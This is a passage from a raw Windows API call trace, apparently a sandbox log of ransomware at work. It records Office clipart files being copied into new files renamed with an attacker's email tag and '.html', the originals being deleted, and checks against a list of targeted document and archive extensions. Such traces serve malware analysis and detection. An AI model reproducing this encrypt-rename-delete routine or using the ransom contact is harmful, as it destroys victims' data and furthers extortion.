(lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0054.903] GetLastError () returned 0x0 [0054.903] ReadFile (in: hFile=0x1f0, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0xbb7c, lpOverlapped=0x0) returned 1 [0054.906] WriteFile (in: hFile=0x218, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xbb80, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xbb80, lpOverlapped=0x0) returned 1 [0054.908] ReadFile (in: hFile=0x1f0, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.908] WriteFile (in: hFile=0x218, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.908] SetEndOfFile (hFile=0x218) returned 1 [0054.908] CloseHandle (hObject=0x218) returned 1 [0054.908] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.908] SetEndOfFile (hFile=0x1f0) returned 1 [0054.909] CloseHandle (hObject=0x1f0) returned 1 [0054.909] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.909] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf")) returned 1 [0054.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0054.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0054.909] lstrlenW (lpString=".doc") returned 4 [0054.910] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.910] lstrlenW (lpString=".docx") returned 5 [0054.910] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.910] lstrlenW (lpString=".pdf") returned 4 [0054.910] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.910] lstrlenW (lpString=".xls") returned 4 [0054.910] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.910] lstrlenW (lpString=".xlsx") returned 5 [0054.910] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.910] lstrlenW (lpString=".ppt") returned 4 [0054.910] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0054.910] lstrlenW (lpString=".zip") returned 4 [0054.910] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.910] lstrlenW (lpString=".rar") returned 4 [0054.910] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.910] lstrlenW (lpString=".bz2") returned 4 [0054.910] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.910] lstrlenW (lpString=".7z") returned 3 [0054.910] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0054.910] lstrlenW (lpString=".dbf") returned 4 [0054.910] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0054.910] lstrlenW (lpString=".1cd") returned 4 [0054.910] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0054.910] lstrlenW (lpString=".jpg") returned 4 [0054.910] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.911] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.911] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0054.911] GetLastError () returned 0x0 [0054.911] ReadFile (in: hFile=0x1f0, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x9d0e, lpOverlapped=0x0) returned 1 [0054.913] WriteFile (in: hFile=0x218, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x9d10, lpOverlapped=0x0) returned 1 [0054.914] ReadFile (in: hFile=0x1f0, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.914] WriteFile (in: hFile=0x218, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.915] SetEndOfFile (hFile=0x218) returned 1 [0054.915] CloseHandle (hObject=0x218) returned 1 [0054.915] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.915] SetEndOfFile (hFile=0x1f0) returned 1 [0054.916] CloseHandle (hObject=0x1f0) returned 1 [0054.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.916] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf")) returned 1 [0054.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0054.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0054.916] lstrlenW (lpString=".doc") returned 4 [0054.916] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.916] lstrlenW (lpString=".docx") returned 5 [0054.916] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.916] lstrlenW (lpString=".pdf") returned 4 [0054.917] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.917] lstrlenW (lpString=".xls") returned 4 [0054.917] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.917] lstrlenW (lpString=".xlsx") returned 5 [0054.917] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.917] lstrlenW (lpString=".ppt") returned 4 [0054.917] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0054.917] lstrlenW (lpString=".zip") returned 4 [0054.917] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.917] lstrlenW (lpString=".rar") returned 4 [0054.917] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.917] lstrlenW (lpString=".bz2") returned 4 [0054.917] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.917] lstrlenW (lpString=".7z") returned 3 [0054.917] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0054.917] lstrlenW (lpString=".dbf") returned 4 [0054.917] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0054.917] lstrlenW (lpString=".1cd") returned 4 [0054.917] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0054.917] lstrlenW (lpString=".jpg") returned 4 [0054.917] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.918] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.918] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0054.918] GetLastError () returned 0x0 [0054.918] ReadFile (in: hFile=0x1f0, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0xbaaa, lpOverlapped=0x0) returned 1 [0055.264] WriteFile (in: hFile=0x218, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xbab0, lpOverlapped=0x0) returned 1 [0055.265] ReadFile (in: hFile=0x1f0, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.265] WriteFile (in: hFile=0x218, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.265] SetEndOfFile (hFile=0x218) returned 1 [0055.265] CloseHandle (hObject=0x218) returned 1 [0055.265] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.266] SetEndOfFile (hFile=0x1f0) returned 1 [0055.266] CloseHandle (hObject=0x1f0) returned 1 [0055.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0055.267] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf")) returned 1 [0056.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0056.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0056.210] lstrlenW (lpString=".doc") returned 4 [0056.210] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.210] lstrlenW (lpString=".docx") returned 5 [0056.211] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.211] lstrlenW (lpString=".pdf") returned 4 [0056.211] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.211] lstrlenW (lpString=".xls") returned 4 [0056.211] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.211] lstrlenW (lpString=".xlsx") returned 5 [0056.211] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.211] lstrlenW (lpString=".ppt") returned 4 [0056.211] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0056.211] lstrlenW (lpString=".zip") returned 4 [0056.211] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.211] lstrlenW (lpString=".rar") returned 4 [0056.211] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.211] lstrlenW (lpString=".bz2") returned 4 [0056.211] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.211] lstrlenW (lpString=".7z") returned 3 [0056.211] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0056.211] lstrlenW (lpString=".dbf") returned 4 [0056.211] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0056.211] lstrlenW (lpString=".1cd") returned 4 [0056.211] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0056.211] lstrlenW (lpString=".jpg") returned 4 [0056.211] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.726] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.740] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0056.755] GetLastError () returned 0x0 [0056.755] ReadFile (in: hFile=0x194, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x27a2, lpOverlapped=0x0) returned 1 [0056.757] WriteFile (in: hFile=0x220, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x27b0, lpOverlapped=0x0) returned 1 [0056.758] ReadFile (in: hFile=0x194, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.758] WriteFile (in: hFile=0x220, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.758] SetEndOfFile (hFile=0x220) returned 1 [0056.758] CloseHandle (hObject=0x220) returned 1 [0056.758] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.758] SetEndOfFile (hFile=0x194) returned 1 [0056.759] CloseHandle (hObject=0x194) returned 1 [0056.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0056.759] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf")) returned 1 [0056.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0056.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0056.760] lstrlenW (lpString=".doc") returned 4 [0056.760] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.760] lstrlenW (lpString=".docx") returned 5 [0056.760] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.760] lstrlenW (lpString=".pdf") returned 4 [0056.760] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.760] lstrlenW (lpString=".xls") returned 4 [0056.760] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.760] lstrlenW (lpString=".xlsx") returned 5 [0056.760] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.760] lstrlenW (lpString=".ppt") returned 4 [0056.760] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0056.760] lstrlenW (lpString=".zip") returned 4 [0056.760] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.760] lstrlenW (lpString=".rar") returned 4 [0056.760] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.760] lstrlenW (lpString=".bz2") returned 4 [0056.760] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.760] lstrlenW (lpString=".7z") returned 3 [0056.760] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0056.760] lstrlenW (lpString=".dbf") returned 4 [0056.760] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0056.760] lstrlenW (lpString=".1cd") returned 4 [0056.760] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0056.760] lstrlenW (lpString=".jpg") returned 4 [0056.760] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.761] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.761] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0056.762] GetLastError () returned 0x0 [0056.762] ReadFile (in: hFile=0x194, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x9fc, lpOverlapped=0x0) returned 1 [0056.765] WriteFile (in: hFile=0x220, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xa00, lpOverlapped=0x0) returned 1 [0056.766] ReadFile (in: hFile=0x194, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.766] WriteFile (in: hFile=0x220, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.766] SetEndOfFile (hFile=0x220) returned 1 [0056.766] CloseHandle (hObject=0x220) returned 1 [0056.767] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.767] SetEndOfFile (hFile=0x194) returned 1 [0056.767] CloseHandle (hObject=0x194) returned 1 [0056.768] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0056.768] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf")) returned 1 [0056.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0056.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0056.768] lstrlenW (lpString=".doc") returned 4 [0056.768] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.768] lstrlenW (lpString=".docx") returned 5 [0056.768] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.768] lstrlenW (lpString=".pdf") returned 4 [0056.768] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.768] lstrlenW (lpString=".xls") returned 4 [0056.768] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.768] lstrlenW (lpString=".xlsx") returned 5 [0056.768] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.768] lstrlenW (lpString=".ppt") returned 4 [0056.768] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0056.768] lstrlenW (lpString=".zip") returned 4 [0056.768] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.768] lstrlenW (lpString=".rar") returned 4 [0056.769] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.769] lstrlenW (lpString=".bz2") returned 4 [0056.769] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.769] lstrlenW (lpString=".7z") returned 3 [0056.769] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0056.769] lstrlenW (lpString=".dbf") returned 4 [0056.769] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0056.769] lstrlenW (lpString=".1cd") returned 4 [0056.769] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0056.769] lstrlenW (lpString=".jpg") returned 4 [0056.769] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.769] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.769] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0056.770] GetLastError () returned 0x0 [0056.770] ReadFile (in: hFile=0x194, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x1678, lpOverlapped=0x0) returned 1 [0056.772] WriteFile (in: hFile=0x220, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x1680, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x1680, lpOverlapped=0x0) returned 1 [0056.773] ReadFile (in: hFile=0x194, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.773] WriteFile (in: hFile=0x220, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.773] SetEndOfFile (hFile=0x220) returned 1 [0056.773] CloseHandle (hObject=0x220) returned 1 [0056.773] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.773] SetEndOfFile (hFile=0x194) returned 1 [0056.774] CloseHandle (hObject=0x194) returned 1 [0056.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0056.774] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program 